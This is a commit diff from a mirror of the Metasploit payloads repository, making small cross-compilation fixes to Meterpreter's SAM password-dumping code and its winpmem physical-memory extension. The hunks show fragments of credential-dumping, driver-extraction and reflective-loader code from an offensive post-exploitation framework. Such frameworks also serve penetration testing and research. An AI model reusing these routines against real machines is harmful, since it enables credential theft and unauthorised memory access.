github/metasploit-payloads
1
Fork 0
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-01-14 17:37:27 +01:00
Code Releases Activity

Few more cross comp changes for pmem

Browse Source
This commit is contained in:
OJ 2020-05-22 14:02:40 +10:00
parent cb0c1d476c
commit e7162dda2c
No known key found for this signature in database
GPG Key ID: 10D3B9A154E6DF61
4 changed files with 16 additions and 16 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

5
c/meterpreter/source/extensions/priv/passwd.c
View File

@ -398,7 +398,8 @@ DWORD dump_sam(FUNCTIONARGS *fargs)
dwError = 1;
goto cleanup;
}
if (pLsaQueryInformationPolicy(hLSA, PolicyAccountDomainInformation, &pAcctDomainInfo) < 0)
if (pLsaQueryInformationPolicy(hLSA, PolicyAccountDomainInformation, (LPVOID*)&pAcctDomainInfo) < 0)
{
dwError = 1;
goto cleanup;
@ -566,7 +567,7 @@ cleanup:
#ifdef _WIN64
#define sizer setup_dump_sam_arguments
#else
void sizer() { __asm { ret } }
void sizer() {}
#endif
/*!

6
c/meterpreter/source/extensions/winpmem/winpmem.cpp
View File

@ -25,6 +25,10 @@
#include <stdio.h>
#include <time.h>
#ifndef min
#define min(x,y) ((x)<(y)?(x):(y))
#endif
int WinPmem::pad(uint64_t length)
{
uint64_t start = 0;
@ -111,7 +115,7 @@ int WinPmem::copy_memory(uint64_t start, uint64_t end)
// Turn on write support in the driver.
int WinPmem::set_write_enabled(void)
{
unsigned _int32 mode;
UINT mode;
DWORD size;
if (!DeviceIoControl(fd_, PMEM_WRITE_ENABLE, &mode, 4, NULL, 0,

BIN
c/meterpreter/source/extensions/winpmem/winpmem.rc
View File

Binary file not shown.

21
c/meterpreter/source/extensions/winpmem/winpmem_meterpreter.cpp
View File

@ -9,6 +9,10 @@ extern "C" {
#define RDIDLL_NOEXPORT
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
#ifndef min
#define min(x,y) ((x)<(y)?(x):(y))
#endif
// Required so that use of the API works.
MetApi* met_api = NULL;
@ -138,7 +142,7 @@ int WinPmem_meterpreter64::extract_driver() {
// Gets the temp path env string (no guarantee it's a valid path).
if (!GetTempPath(MAX_PATH, path)) {
dprintf("[WINPMEM] Unable to determine temporary path.");
goto error;
return -1;
}
GetTempFileName(path, service_name, 0, filename);
@ -150,9 +154,6 @@ int WinPmem_meterpreter64::extract_driver() {
dprintf("[WINPMEM] Extracting driver to %s", driver_filename_);
return extract_file_(WINPMEM_64BIT_DRIVER, driver_filename_);
error:
return -1;
}
int WinPmem_meterpreter32::extract_driver() {
@ -166,7 +167,7 @@ int WinPmem_meterpreter32::extract_driver() {
// Gets the temp path env string (no guarantee it's a valid path).
if (!GetTempPath(MAX_PATH, path)) {
dprintf("[WINPMEM] Unable to determine temporary path.");
goto error;
return -1;
}
GetTempFileName(path, service_name, 0, filename);
@ -178,9 +179,6 @@ int WinPmem_meterpreter32::extract_driver() {
dprintf("[WINPMEM] Extracting driver to %s", driver_filename_);
return extract_file_(WINPMEM_32BIT_DRIVER, driver_filename_);
error:
return -1;
}
WinPmem_meterpreter *WinPmemFactory()
@ -320,13 +318,13 @@ static int winpmem_meterpreter_copy_memory(uint64_t start, uint64_t end,
if (0xFFFFFFFF == SetFilePointerEx(
ctx->winpmem->get_fd(), large_start, NULL, FILE_BEGIN)) {
dprintf("[WINPMEM] Failed to seek in the pmem device.");
goto error;
return 0;
};
if (!ReadFile(ctx->winpmem->get_fd(), reinterpret_cast<char*>(buffer)+*bytesRead, to_write, &bytes_read, NULL) ||
bytes_read != to_write) {
dprintf("[WINPMEM] Failed to Read memory.");
goto error;
return 0;
};
*bytesRead += bytes_read;
@ -334,9 +332,6 @@ static int winpmem_meterpreter_copy_memory(uint64_t start, uint64_t end,
start += bytes_read;
};
return 1;
error:
return 0;
};
static DWORD winpmem_channel_read(Channel *channel, Packet *request,